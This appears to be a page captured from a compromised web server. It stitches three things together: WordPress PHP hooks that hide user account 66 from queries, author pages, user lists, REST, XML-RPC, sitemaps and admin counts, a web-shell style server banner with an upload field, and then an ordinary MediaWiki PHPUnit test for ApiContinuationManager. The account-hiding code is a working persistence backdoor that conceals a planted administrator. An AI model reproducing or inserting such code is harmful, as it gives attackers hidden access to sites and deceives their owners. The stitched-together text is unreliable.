add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/api/ |
Upload File : |
<?php
namespace MediaWiki\Tests\Api;
use MediaWiki\Api\ApiContinuationManager;
use MediaWiki\Api\ApiMain;
use MediaWiki\Api\ApiResult;
use MediaWiki\Api\ApiUsageException;
use MediaWiki\Context\DerivativeContext;
use MediaWiki\Context\RequestContext;
use MediaWiki\Request\FauxRequest;
use UnexpectedValueException;
/**
* @covers \MediaWiki\Api\ApiContinuationManager
* @group API
*/
class ApiContinuationManagerTest extends ApiTestCase {
private static function getManager( $continue, $allModules, $generatedModules ) {
$context = new DerivativeContext( RequestContext::getMain() );
$context->setRequest( new FauxRequest( [ 'continue' => $continue ] ) );
$main = new ApiMain( $context );
return new ApiContinuationManager( $main, $allModules, $generatedModules );
}
public function testContinuation() {
$allModules = [
new MockApiQueryBase( 'mock1' ),
new MockApiQueryBase( 'mock2' ),
new MockApiQueryBase( 'mocklist' ),
];
$generator = new MockApiQueryBase( 'generator' );
$manager = self::getManager( '', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( ApiMain::class, $manager->getSource() );
$this->assertSame( false, $manager->isGeneratorDone() );
$this->assertSame( $allModules, $manager->getRunModules() );
$manager->addContinueParam( $allModules[0], 'm1continue', [ 1, 2 ] );
$manager->addContinueParam( $allModules[2], 'mlcontinue', 2 );
$manager->addGeneratorContinueParam( $generator, 'gcontinue', 3 );
$this->assertSame( [ [
'mlcontinue' => 2,
'm1continue' => '1|2',
'continue' => '||mock2',
], false ], $manager->getContinuation() );
$this->assertSame( [
'mock1' => [ 'm1continue' => '1|2' ],
'mocklist' => [ 'mlcontinue' => 2 ],
'generator' => [ 'gcontinue' => 3 ],
], $manager->getRawContinuation() );
$result = new ApiResult( 0 );
$manager->setContinuationIntoResult( $result );
$this->assertSame( [
'mlcontinue' => 2,
'm1continue' => '1|2',
'continue' => '||mock2',
], $result->getResultData( 'continue' ) );
$this->assertSame( null, $result->getResultData( 'batchcomplete' ) );
$manager = self::getManager( '', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( false, $manager->isGeneratorDone() );
$this->assertSame( $allModules, $manager->getRunModules() );
$manager->addContinueParam( $allModules[0], 'm1continue', [ 1, 2 ] );
$manager->addGeneratorContinueParam( $generator, 'gcontinue', [ 3, 4 ] );
$this->assertSame( [ [
'm1continue' => '1|2',
'continue' => '||mock2|mocklist',
], false ], $manager->getContinuation() );
$this->assertSame( [
'mock1' => [ 'm1continue' => '1|2' ],
'generator' => [ 'gcontinue' => '3|4' ],
], $manager->getRawContinuation() );
$manager = self::getManager( '', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( false, $manager->isGeneratorDone() );
$this->assertSame( $allModules, $manager->getRunModules() );
$manager->addContinueParam( $allModules[2], 'mlcontinue', 2 );
$manager->addGeneratorContinueParam( $generator, 'gcontinue', 3 );
$this->assertSame( [ [
'mlcontinue' => 2,
'gcontinue' => 3,
'continue' => 'gcontinue||',
], true ], $manager->getContinuation() );
$this->assertSame( [
'mocklist' => [ 'mlcontinue' => 2 ],
'generator' => [ 'gcontinue' => 3 ],
], $manager->getRawContinuation() );
$result = new ApiResult( 0 );
$manager->setContinuationIntoResult( $result );
$this->assertSame( [
'mlcontinue' => 2,
'gcontinue' => 3,
'continue' => 'gcontinue||',
], $result->getResultData( 'continue' ) );
$this->assertSame( true, $result->getResultData( 'batchcomplete' ) );
$manager = self::getManager( '', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( false, $manager->isGeneratorDone() );
$this->assertSame( $allModules, $manager->getRunModules() );
$manager->addGeneratorContinueParam( $generator, 'gcontinue', 3 );
$this->assertSame( [ [
'gcontinue' => 3,
'continue' => 'gcontinue||mocklist',
], true ], $manager->getContinuation() );
$this->assertSame( [
'generator' => [ 'gcontinue' => 3 ],
], $manager->getRawContinuation() );
$manager = self::getManager( '', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( false, $manager->isGeneratorDone() );
$this->assertSame( $allModules, $manager->getRunModules() );
$manager->addContinueParam( $allModules[0], 'm1continue', [ 1, 2 ] );
$manager->addContinueParam( $allModules[2], 'mlcontinue', 2 );
$this->assertSame( [ [
'mlcontinue' => 2,
'm1continue' => '1|2',
'continue' => '||mock2',
], false ], $manager->getContinuation() );
$this->assertSame( [
'mock1' => [ 'm1continue' => '1|2' ],
'mocklist' => [ 'mlcontinue' => 2 ],
], $manager->getRawContinuation() );
$manager = self::getManager( '', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( false, $manager->isGeneratorDone() );
$this->assertSame( $allModules, $manager->getRunModules() );
$manager->addContinueParam( $allModules[0], 'm1continue', [ 1, 2 ] );
$this->assertSame( [ [
'm1continue' => '1|2',
'continue' => '||mock2|mocklist',
], false ], $manager->getContinuation() );
$this->assertSame( [
'mock1' => [ 'm1continue' => '1|2' ],
], $manager->getRawContinuation() );
$manager = self::getManager( '', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( false, $manager->isGeneratorDone() );
$this->assertSame( $allModules, $manager->getRunModules() );
$manager->addContinueParam( $allModules[2], 'mlcontinue', 2 );
$this->assertSame( [ [
'mlcontinue' => 2,
'continue' => '-||mock1|mock2',
], true ], $manager->getContinuation() );
$this->assertSame( [
'mocklist' => [ 'mlcontinue' => 2 ],
], $manager->getRawContinuation() );
$manager = self::getManager( '', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( false, $manager->isGeneratorDone() );
$this->assertSame( $allModules, $manager->getRunModules() );
$this->assertSame( [ [], true ], $manager->getContinuation() );
$this->assertSame( [], $manager->getRawContinuation() );
$manager = self::getManager( '||mock2', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( false, $manager->isGeneratorDone() );
$this->assertSame(
array_values( array_diff_key( $allModules, [ 1 => 1 ] ) ),
$manager->getRunModules()
);
$manager = self::getManager( '-||', $allModules, [ 'mock1', 'mock2' ] );
$this->assertSame( true, $manager->isGeneratorDone() );
$this->assertSame(
array_values( array_diff_key( $allModules, [ 0 => 0, 1 => 1 ] ) ),
$manager->getRunModules()
);
try {
self::getManager( 'foo', $allModules, [ 'mock1', 'mock2' ] );
$this->fail( 'Expected exception not thrown' );
} catch ( ApiUsageException $ex ) {
$this->assertApiErrorCode( 'badcontinue', $ex,
'Expected exception'
);
}
$manager = self::getManager(
'||mock2',
array_slice( $allModules, 0, 2 ),
[ 'mock1', 'mock2' ]
);
try {
$manager->addContinueParam( $allModules[1], 'm2continue', 1 );
$this->fail( 'Expected exception not thrown' );
} catch ( UnexpectedValueException $ex ) {
$this->assertSame(
'Module \'mock2\' was not supposed to have been executed, ' .
'but it was executed anyway',
$ex->getMessage(),
'Expected exception'
);
}
try {
$manager->addContinueParam( $allModules[2], 'mlcontinue', 1 );
$this->fail( 'Expected exception not thrown' );
} catch ( UnexpectedValueException $ex ) {
$this->assertSame(
'Module \'mocklist\' called ' . ApiContinuationManager::class . '::addContinueParam ' .
'but was not passed to ' . ApiContinuationManager::class . '::__construct',
$ex->getMessage(),
'Expected exception'
);
}
}
}